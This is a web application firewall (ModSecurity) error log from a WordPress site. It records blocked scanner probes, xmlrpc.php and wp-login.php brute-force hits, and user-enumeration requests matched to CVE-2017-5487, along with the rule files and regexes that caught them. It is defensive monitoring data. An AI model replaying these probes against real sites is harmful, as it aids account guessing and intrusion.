[Mon Mar 23 12:51:25.832695 2026] [:error] [pid 23441:tid 23517] [client 195.201.199.99:49770] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "acDGzRq7S-oOqSXZEr6hkgAAAI4"]
[Mon Mar 23 12:51:29.351723 2026] [:error] [pid 23440:tid 23491] [client 195.201.199.99:50630] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "acDG0T49_8n8h_ttcUoGIQAAAE8"]
[Mon Mar 23 12:51:32.083847 2026] [:error] [pid 35165:tid 35181] [client 195.201.199.99:51338] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "acDG1M6udpN6Esk7JKtFawAAAY0"]
[Mon Mar 23 12:51:35.201775 2026] [:error] [pid 14573:tid 14593] [client 195.201.199.99:52162] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "acDG1--oSmHn3q4_J1FIBAAAAVI"]
[Mon Mar 23 12:51:38.005668 2026] [:error] [pid 57265:tid 57283] [client 195.201.199.99:52848] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "acDG2mNLjPJJkhuqCsh5rQAAARA"]
[Mon Mar 23 12:51:41.045748 2026] [:error] [pid 57265:tid 57271] [client 195.201.199.99:53634] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "acDG3WNLjPJJkhuqCsh5uAAAAQQ"]
[Mon Mar 23 12:51:44.077154 2026] [:error] [pid 14573:tid 14575] [client 195.201.199.99:54462] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "acDG4O-oSmHn3q4_J1FIEgAAAUA"]
[Mon Mar 23 14:19:05.162313 2026] [:error] [pid 14573:tid 14591] [client 49.204.161.148:32196] [client 49.204.161.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.161.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acDbWe-oSmHn3q4_J1FhXQAAAVA"]
[Mon Mar 23 14:19:38.009765 2026] [:error] [pid 35165:tid 35175] [client 49.37.130.167:11405] [client 49.37.130.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.130.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acDbes6udpN6Esk7JKtm1QAAAYc"]
[Mon Mar 23 14:22:28.436439 2026] [:error] [pid 57265:tid 57278] [client 49.37.130.167:13414] [client 49.37.130.167] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acDcJGNLjPJJkhuqCsisFgAAAQs"]
[Mon Mar 23 14:23:49.493423 2026] [:error] [pid 35165:tid 35171] [client 49.37.130.167:13799] [client 49.37.130.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.130.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acDcdc6udpN6Esk7JKtoUgAAAYM"]
[Mon Mar 23 14:24:57.813668 2026] [:error] [pid 57265:tid 57287] [client 49.37.130.167:14088] [client 49.37.130.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.130.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acDcuWNLjPJJkhuqCsitrQAAARQ"]
[Mon Mar 23 14:26:17.231755 2026] [:error] [pid 57265:tid 57272] [client 49.37.130.167:14837] [client 49.37.130.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.130.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acDdCWNLjPJJkhuqCsiuNwAAAQU"]
[Mon Mar 23 14:27:17.826760 2026] [:error] [pid 23539:tid 23558] [client 49.204.161.148:32767] [client 49.204.161.148] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acDdRX7Dh3qWGSpIAZXnPwAAAMo"]
[Mon Mar 23 14:27:26.531481 2026] [:error] [pid 23441:tid 23515] [client 49.37.130.167:1944] [client 49.37.130.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.130.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acDdThq7S-oOqSXZEr6yjgAAAIw"]
[Mon Mar 23 14:28:35.428062 2026] [:error] [pid 35165:tid 35172] [client 49.204.161.148:32552] [client 49.204.161.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.161.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acDdk86udpN6Esk7JKtp4QAAAYQ"]
[Mon Mar 23 14:29:39.331903 2026] [:error] [pid 14573:tid 14589] [client 49.204.161.148:31988] [client 49.204.161.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.161.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acDd0--oSmHn3q4_J1FjzwAAAU4"]
[Mon Mar 23 14:30:38.430496 2026] [:error] [pid 14573:tid 14595] [client 49.204.161.148:31252] [client 49.204.161.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.161.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acDeDu-oSmHn3q4_J1FkAAAAAVQ"]
[Mon Mar 23 14:31:38.770081 2026] [:error] [pid 23441:tid 23519] [client 49.204.161.148:32095] [client 49.204.161.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.161.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acDeShq7S-oOqSXZEr6zOgAAAJA"]
[Mon Mar 23 14:59:54.587116 2026] [:error] [pid 57265:tid 57279] [client 43.157.95.131:50922] [client 43.157.95.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acDk6mNLjPJJkhuqCsi_ZgAAAQw"]
[Mon Mar 23 16:51:53.468041 2026] [:error] [pid 23439:tid 23450] [client 162.241.169.5:11482] [client 162.241.169.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.169.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acD_KaZv8XIzUKdgaMeF7AAAAAE"]
[Mon Mar 23 16:51:55.504501 2026] [:error] [pid 23439:tid 23463] [client 162.241.169.5:11482] [client 162.241.169.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.169.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acD_K6Zv8XIzUKdgaMeF7QAAAA4"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 23 17:34:55.554397 2026] [:error] [pid 57265:tid 57288] [client 103.213.38.172:60438] [client 103.213.38.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.213.38.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acEJP2NLjPJJkhuqCsgZfgAAARU"]
[Mon Mar 23 17:34:58.438209 2026] [:error] [pid 23539:tid 23554] [client 103.213.38.172:60444] [client 103.213.38.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.213.38.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acEJQn7Dh3qWGSpIAZUQqQAAAMY"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 23 17:41:44.793681 2026] [:error] [pid 57265:tid 57287] [client 49.228.42.234:38459] [client 49.228.42.234] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acEK2GNLjPJJkhuqCsgdIwAAARQ"]
[Mon Mar 23 17:43:31.345548 2026] [:error] [pid 35165:tid 35168] [client 49.228.42.234:55016] [client 49.228.42.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.228.42.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acELQ86udpN6Esk7JKuqDwAAAYA"]
[Mon Mar 23 17:44:56.092608 2026] [:error] [pid 14573:tid 14592] [client 49.228.42.234:64238] [client 49.228.42.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.228.42.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acELmO-oSmHn3q4_J1GwPAAAAVE"]
[Mon Mar 23 17:46:20.100455 2026] [:error] [pid 23539:tid 23568] [client 49.228.42.234:10189] [client 49.228.42.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.228.42.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acEL7H7Dh3qWGSpIAZUTPgAAANQ"]
[Mon Mar 23 17:47:24.516458 2026] [:error] [pid 35165:tid 35183] [client 125.94.144.102:47049] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acEMLM6udpN6Esk7JKurIAAAAY8"]
[Mon Mar 23 17:47:44.311761 2026] [:error] [pid 14573:tid 14592] [client 49.228.42.234:16437] [client 49.228.42.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.228.42.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acEMQO-oSmHn3q4_J1GxjQAAAVE"]
[Mon Mar 23 17:49:08.334357 2026] [:error] [pid 35165:tid 35173] [client 49.228.42.234:20858] [client 49.228.42.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.228.42.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acEMlM6udpN6Esk7JKurngAAAYU"]
[Mon Mar 23 17:53:05.579955 2026] [:error] [pid 35165:tid 35174] [client 51.38.30.221:35438] [client 51.38.30.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.38.30.221, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acENgc6udpN6Esk7JKutAAAAAYY"]
[Mon Mar 23 17:53:07.260611 2026] [:error] [pid 35165:tid 35185] [client 51.38.30.221:35438] [client 51.38.30.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.38.30.221, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acENg86udpN6Esk7JKutBgAAAZE"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 23 17:55:03.888979 2026] [:error] [pid 35165:tid 35189] [client 50.6.138.81:60856] [client 50.6.138.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.138.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acEN986udpN6Esk7JKutXwAAAZU"]
[Mon Mar 23 17:55:05.888120 2026] [:error] [pid 35165:tid 35179] [client 50.6.138.81:60856] [client 50.6.138.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.138.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acEN-c6udpN6Esk7JKutYwAAAYs"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 23 18:16:51.764787 2026] [:error] [pid 57265:tid 57284] [client 20.85.212.10:5028] [client 20.85.212.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "acETE2NLjPJJkhuqCsg3vwAAARE"]
[Mon Mar 23 18:16:52.618761 2026] [:error] [pid 23441:tid 23514] [client 20.85.212.10:4372] [client 20.85.212.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "acETFBq7S-oOqSXZEr7a8QAAAIs"]
[Mon Mar 23 18:16:53.455485 2026] [:error] [pid 35165:tid 35192] [client 20.85.212.10:4363] [client 20.85.212.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "acETFc6udpN6Esk7JKu0JwAAAZg"]
[Mon Mar 23 18:16:54.343923 2026] [:error] [pid 57265:tid 57285] [client 20.85.212.10:5000] [client 20.85.212.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "acETFmNLjPJJkhuqCsg3wwAAARI"]
[Mon Mar 23 19:19:04.712186 2026] [:error] [pid 35165:tid 35181] [client 170.106.180.153:50814] [client 170.106.180.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acEhqM6udpN6Esk7JKvJ5QAAAY0"]
[Mon Mar 23 20:05:18.197494 2026] [:error] [pid 57265:tid 57279] [client 46.101.188.203:54283] [client 46.101.188.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.188.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acEsfmNLjPJJkhuqCsh3YgAAAQw"]
[Mon Mar 23 20:05:20.559023 2026] [:error] [pid 57265:tid 57281] [client 46.101.188.203:55155] [client 46.101.188.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.188.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acEsgGNLjPJJkhuqCsh3dQAAAQ4"]
[Mon Mar 23 20:27:59.126375 2026] [:error] [pid 38177:tid 38224] [client 49.51.253.26:50172] [client 49.51.253.26] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acExz3sYW-_HCI66MunmAQAAAEk"]
[Mon Mar 23 20:36:18.334668 2026] [:error] [pid 38177:tid 38225] [client 162.241.3.16:33074] [client 162.241.3.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.3.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acEzwnsYW-_HCI66MunoEgAAAEo"]
[Mon Mar 23 20:36:20.464098 2026] [:error] [pid 38177:tid 38224] [client 162.241.3.16:33074] [client 162.241.3.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.3.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acEzxHsYW-_HCI66MunoJwAAAEk"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 23 20:45:24.484143 2026] [:error] [pid 38276:tid 38281] [client 145.239.195.38:50742] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acE15JoKGiI-a7oME3LqGQAAAMI"]
[Mon Mar 23 20:45:26.514094 2026] [:error] [pid 38276:tid 38279] [client 145.239.195.38:50060] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "acE15poKGiI-a7oME3LqHQAAAMA"]
[Mon Mar 23 20:45:28.402559 2026] [:error] [pid 38178:tid 38262] [client 145.239.195.38:50074] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "acE16A0axWfXsVvR9uc3dAAAAJQ"]
[Mon Mar 23 20:45:30.237369 2026] [:error] [pid 38178:tid 38259] [client 145.239.195.38:50090] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "acE16g0axWfXsVvR9uc3dwAAAJE"]
[Mon Mar 23 20:45:32.268603 2026] [:error] [pid 38178:tid 38261] [client 145.239.195.38:50094] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "acE17A0axWfXsVvR9uc3fAAAAJM"]
[Mon Mar 23 20:45:34.231329 2026] [:error] [pid 38176:tid 38206] [client 145.239.195.38:32904] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "acE17ktG4qlh1gvNjuIo5gAAABM"]
[Mon Mar 23 20:45:36.090080 2026] [:error] [pid 38178:tid 38258] [client 145.239.195.38:32920] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "acE18A0axWfXsVvR9uc3mwAAAJA"]
[Mon Mar 23 20:45:38.339604 2026] [:error] [pid 38177:tid 38239] [client 145.239.195.38:32926] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "acE18nsYW-_HCI66MunpywAAAFg"]
[Mon Mar 23 20:45:40.524068 2026] [:error] [pid 38276:tid 38291] [client 145.239.195.38:32938] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acE19JoKGiI-a7oME3LqTwAAAMw"]
